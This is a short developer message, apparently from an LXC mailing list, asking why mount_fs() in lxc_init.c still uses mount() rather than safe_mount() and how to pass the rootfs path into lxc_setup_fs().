I just checked upstream Git and the location you refer to is not using safe_mount either there [1] Furthermore, it seems non-trivial to inform safe_mount about the root path from within lxc_init.c. Do you have any input on the following questions?: o Why mount_fs() in latest HEAD still using the mount() call instead of safe_mount()? o How could one pipe the rootfs path into lxc_setup_fs() -> mount_fs()? Thanks for any input.
